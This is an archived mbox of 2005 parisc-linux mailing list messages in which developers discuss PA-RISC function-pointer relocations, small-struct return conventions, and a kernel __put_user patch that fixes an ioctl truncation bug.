X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2005 18:06:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx002) with SMTP; 11 Mar 2005 19:06:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D51787D667;
	Fri, 11 Mar 2005 11:07:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01421-09; Fri, 11 Mar 2005 11:07:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E8B407D662;
	Fri, 11 Mar 2005 11:07:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 896A47D629
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 11:07:06 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01514-02 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 11:07:06 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id A983C7D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 11:07:05 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D9oW6-0002hY-00; Fri, 11 Mar 2005 13:05:42 -0500
Content-Disposition: inline
In-Reply-To: <20050310222751.GE7616@bubble.modra.org>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: eLJaKgVhTlIv47eQeGhrSVVGU2poZVnR
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22425

On Fri, Mar 11, 2005 at 08:57:51AM +1030, Alan Modra wrote:
> > In shared libraries the function pointer is also allocated a PLT slot
> > and an IPLT relocation. 
> > 
> > I don't understand the reasons for the allocation of a PLT slot if all
> > references generated go through the local label word that has the
> > PLABEL32 reloc, which now contains the address returned by
> > _dl_make_ftpr.
> 
> There probably isn't a good reason.  Blame that on me not understanding
> what I was doing when dhd and I hacked together ld and glibc hppa-linux
> support.

I understand why you allocate a PLT slot, because function calls seem to
go through the PLT only without reference to the PLABEL32 word (in
shared libraries). This saves an indirection through the PLABEL32 word
during a call. I believe this to be what is happening, and I verfiied it
lightly.

I went through the sources again, and you made some argument in a
comment about passing "local function pointers" to other objects.

The only way to verify my ideas is to run some tests, so here is the
apparent summary.

- Executable passes local function pointer to shared object.
 = Passes the address of the PLT entry.
 = PLT entry has IPLT reloc.

- Shared object passes local function pointer to other shared object.
 = Passes the address of *(PLABEL32 word) which points to a fdesc
   made by _dl_make_fptr.
 = The PLABEL32 word has a PLABEL32 reloc.

- Shared object calls a local or global function.
 = Calls through the PLT, which has an IPLT reloc.

- Executable calls local function.
 = Jumps directly to address.

- Executable calls global function.
 = Uses dyncall on the address of hte PLT
 = PLT has IPLT reloc.

> > I'm still trying to understand your earlier recommendation. Do you
> > suggest that the executable have PLABEL32 relocs for all the symbols,
> > local and global, which assures that _dl_make_fptr creates a unique OPD?
> 
> I was really just thinking of global symbols.  If ld handles descriptors
> for locals, you save on dynamic relocs and program startup time.  I
> haven't spent a great deal of time thinking about it though, so it's
> highly likely that there is some reason why it won't work.  eg. You
> wouldn't want dynamic plabel relocs to appear in read-only sections.

I thought about this, and you are correct. Technically if the shared
object can do a comparison then the symbol must have been global, and
passed into the function.

How do I do this in a backwards compatible way?

Action
=======
If we emit a PLABEL32 reloc for all global symbols in the executable,
baring relocs in read-only sections, which I'm sure shared libraries
have the same problems, then the executable passes the address stored
in the plabel word.

Case 1:
=======
For these new executables gcc will not generate __cffc comparisons.
For new libraries gcc will not generate __cffc comparisons.

Case 2:
=======
Old executables will still pass the address of the plt entry, and
comparisons in new shared libraries will fail.

Case 3:
=======
New executables and old shared libraries will work just fine, since
__cffc will think that everything has been resolved properly and just
do comparison.

Fixes:
======
Transition all executables to use PLABEL32 relocs for global symbols,
the same as shared libraries. Keep gcc generating __cffc.
One day when all the executables have been rebuilt, we can start turning
off the generation of __cffc and "Case 2" will fail, but hopefully we
have transitioned away from that happening.

Thoughts?

Cheers,
Carlos.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: Runing small structs from functions.
Date: Fri, 11 Mar 2005 13:07:47 -0500
Lines: 22
Approved: news@gmane.org
Message-ID: <20050311180747.GW22872@baldric.uwo.ca>
References: <20050311064850.GV4645@tausq.org>
	<200503111539.j2BFdcwL015273@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623693 12959 80.91.229.3 (22 Nov 2014 02:34:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 11 Mar 2005 18:08:08 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx033) with SMTP; 11 Mar 2005 19:08:08 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7B1447D671;
	Fri, 11 Mar 2005 11:09:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01810-01; Fri, 11 Mar 2005 11:09:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5071A7D66C;
	Fri, 11 Mar 2005 11:09:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 637247D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 11:09:08 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01754-01 for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 11:09:08 -0700 (MST)
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by free.linux.hp.com (Postfix) with ESMTP id C94C27D60F
	for <parisc-linux@lists.parisc-linux.org>;
	Fri, 11 Mar 2005 11:09:07 -0700 (MST)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1D9oY8-0002iD-00; Fri, 11 Mar 2005 13:07:48 -0500
Content-Disposition: inline
In-Reply-To: <200503111539.j2BFdcwL015273@hiauly1.hia.nrc.ca>
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (16% Sync Ratio [==........])
User-Agent: Mutt/1.5.6+20040907i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6LJaKng1TlIv47eQeGhrSVVGU2poZZmw
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22426

On Fri, Mar 11, 2005 at 10:39:38AM -0500, John David Anglin wrote:
> > gcc-3.3 also returns <=8 bytes structs in ret0/ret1. there are lots of
> > gdb test cases to verify this.
> 
> Right, the ABI fix in the PA backend was made in 3.3.  I was referring
> to earlier versions.  As noted in my previous message, there still
> are issues with small structs in 3.3.  See this PR:
> <http://gcc.gnu.org/bugzilla/show_bug.cgi?id=18956>.

Since this code only *ever* returns a "struct fdesc" which is two word
sized entries aligned by the compiler, I always get "ip" in ret0 and
"gp" in ret1. So this is a very particular case of passing a small
struct by value.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sat, 12 Mar 2005 17:19:21 -0800
Lines: 64
Approved: news@gmane.org
Message-ID: <20050313011921.GB28289@tausq.org>
References: <200503052033.j25KXK8x007561@hiauly1.hia.nrc.ca>
	<200503122337.j2CNbF3p026289@hiauly1.hia.nrc.ca>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623693 12962 80.91.229.3 (22 Nov 2014 02:34:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2005 01:19:31 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx040) with SMTP; 13 Mar 2005 02:19:31 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05BEA7D653;
	Sat, 12 Mar 2005 18:20:39 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08240-09; Sat, 12 Mar 2005 18:20:38 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D8B0E7D65C;
	Sat, 12 Mar 2005 18:20:37 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 20DFD7D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 18:20:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08240-05 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 18:20:34 -0700 (MST)
Original-Received: from arwen.tausq.org (legolas.tausq.org [64.81.244.109])
	by free.linux.hp.com (Postfix) with ESMTP id 87F4E7D652
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 18:20:34 -0700 (MST)
Original-Received: by arwen.tausq.org (Postfix, from userid 1000)
	id AFD3D1121DC; Sat, 12 Mar 2005 17:19:21 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <200503122337.j2CNbF3p026289@hiauly1.hia.nrc.ca>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.6+20040722i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RflYKkZzTlIv47eQeGhrSVVGU2poZRn5
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22427

> > hiauly6 4.0.0:
> > FAIL: 27_io/basic_filebuf/sgetn/char/1-in.cc execution test
> 
> This fail is caused by a bug in ioctl when using a 32-bit kernel.
> I've attached a little test program below that demonstrates the problem.
> sgetn.txt can be found in libstdc++-v3/testsuite/data/sgetn.txt but
> I think any file will do.  num is still 0 after the ioctl call.

I think the attached patch is what we should do; the problem is that we
are trying to put a 64-bit quantity (loff_t) into an int *, and we end
up only storing the top bits. (see fs/ioctl.c for details)

Is this the right thing to do? Do we need something similar for
get_user()?

Tested on 32-bit and 64-bit (thanks Kyle!)

randolph

Index: include/asm-parisc/uaccess.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/uaccess.h,v
retrieving revision 1.18
diff -u -p -r1.18 uaccess.h
--- include/asm-parisc/uaccess.h	21 Feb 2005 16:40:53 -0000	1.18
+++ include/asm-parisc/uaccess.h	13 Mar 2005 00:50:41 -0000
@@ -147,22 +147,23 @@ struct exception_data {
 #define __put_user(x,ptr)                                       \
 ({								\
 	register long __pu_err __asm__ ("r8") = 0;      	\
+        __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\
 								\
 	if (segment_eq(get_fs(),KERNEL_DS)) {                   \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_kernel_asm("stb",x,ptr); break;       \
-	    case 2: __put_kernel_asm("sth",x,ptr); break;       \
-	    case 4: __put_kernel_asm("stw",x,ptr); break;       \
-	    case 8: STD_KERNEL(x,ptr); break;			\
+	    case 1: __put_kernel_asm("stb",__x,ptr); break;     \
+	    case 2: __put_kernel_asm("sth",__x,ptr); break;     \
+	    case 4: __put_kernel_asm("stw",__x,ptr); break;     \
+	    case 8: STD_KERNEL(__x,ptr); break;			\
 	    default: __put_kernel_bad(); break;			\
 	    }                                                   \
 	}                                                       \
 	else {                                                  \
 	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_user_asm("stb",x,ptr); break;         \
-	    case 2: __put_user_asm("sth",x,ptr); break;         \
-	    case 4: __put_user_asm("stw",x,ptr); break;         \
-	    case 8: STD_USER(x,ptr); break;			\
+	    case 1: __put_user_asm("stb",__x,ptr); break;       \
+	    case 2: __put_user_asm("sth",__x,ptr); break;       \
+	    case 4: __put_user_asm("stw",__x,ptr); break;       \
+	    case 8: STD_USER(__x,ptr); break;			\
 	    default: __put_user_bad(); break;			\
 	    }                                                   \
 	}                                                       \
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sat, 12 Mar 2005 21:39:36 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200503130239.j2D2dbjK026921@hiauly1.hia.nrc.ca>
References: <20050313011921.GB28289@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623693 12964 80.91.229.3 (22 Nov 2014 02:34:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: randolph@tausq.org
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 13 Mar 2005 02:39:59 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx059) with SMTP; 13 Mar 2005 03:39:59 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 9A6147D65C;
	Sat, 12 Mar 2005 19:40:55 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08582-08; Sat, 12 Mar 2005 19:40:55 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 197857D65F;
	Sat, 12 Mar 2005 19:40:55 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id AADDD7D654
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 19:40:49 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08728-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 19:40:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 1F3C57D653
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 19:40:49 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2D2dbhF026922; Sat, 12 Mar 2005 21:39:37 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2D2dbjK026921;
	Sat, 12 Mar 2005 21:39:37 -0500 (EST)
In-Reply-To: <20050313011921.GB28289@tausq.org> from "Randolph Chung" at Mar
	12, 2005 05:19:21 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: nstYKk9YTlIv47eQeGhrSVVGU2poZZnd
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22428

>  	register long __pu_err __asm__ ("r8") = 0;      	\
> +        __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\

This is an improvement as long as the ioctl handling checks that
the loff_t value can be successfully truncated.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:33:06 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Comments?
Date: Sat, 12 Mar 2005 18:37:15 -0500 (EST)
Lines: 48
Approved: news@gmane.org
Message-ID: <200503122337.j2CNbF3p026289@hiauly1.hia.nrc.ca>
References: <200503052033.j25KXK8x007561@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623694 12968 80.91.229.3 (22 Nov 2014 02:34:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:34:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tausq@debian.org
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: - Wed Jul 02 21:27:17 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 12 Mar 2005 23:38:18 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx041) with SMTP; 13 Mar 2005 00:38:18 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 29EAA7D65F;
	Sat, 12 Mar 2005 16:39:07 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07944-05; Sat, 12 Mar 2005 16:39:07 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 0D4FB7D653;
	Sat, 12 Mar 2005 16:39:06 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 6601A7D651
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 16:39:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07944-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 16:39:01 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id D80777D650
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 12 Mar 2005 16:39:00 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	j2CNbGhF026290; Sat, 12 Mar 2005 18:37:17 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id j2CNbF3p026289;
	Sat, 12 Mar 2005 18:37:15 -0500 (EST)
In-Reply-To: <200503052033.j25KXK8x007561@hiauly1.hia.nrc.ca> from "John David
	Anglin" at Mar 5, 2005 03:33:20 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ChFYKv0vTlIv47eQeGhrSVVGU2poZdnu
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:22429

> Another thing that I need to figure out is the cause of the libstdc++
> fails:
> 
> hiauly6 4.0.0:
> FAIL: 27_io/basic_filebuf/sgetn/char/1-in.cc execution test

This fail is caused by a bug in ioctl when using a 32-bit kernel.
I've attached a little test program below that demonstrates the problem.
sgetn.txt can be found in libstdc++-v3/testsuite/data/sgetn.txt but
I think any file will do.  num is still 0 after the ioctl call.

